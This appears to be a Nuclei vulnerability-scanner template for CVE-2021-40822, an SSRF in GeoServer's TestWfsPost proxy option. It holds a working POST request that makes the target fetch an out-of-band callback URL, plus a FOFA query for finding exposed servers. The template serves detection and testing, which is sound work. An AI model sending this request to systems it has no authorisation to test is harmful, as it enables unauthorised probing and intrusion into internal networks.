id: CVE-2021-40822 info: name: Geoserver - Server-Side Request Forgery author: For3stCo1d severity: high description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host. reference: - https://gccybermonks.com/posts/cve-2021-40822/ - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3 - https://github.com/geoserver/geoserver/releases - https://nvd.nist.gov/vuln/detail/CVE-2021-40822 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-40822 cwe-id: CWE-918 cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:* epss-score: 0.65495 metadata: max-request: 1 fofa-query: app="GeoServer" verified: "true" tags: cve,cve2021,ssrf,geoserver http: - raw: - | POST /geoserver/TestWfsPost HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded form_hf_0=&url=http://{{interactsh-url}}/geoserver/../&body=&username=&password= matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word words: - "" - type: status status: - 200 # Enhanced by mp on 2022/06/30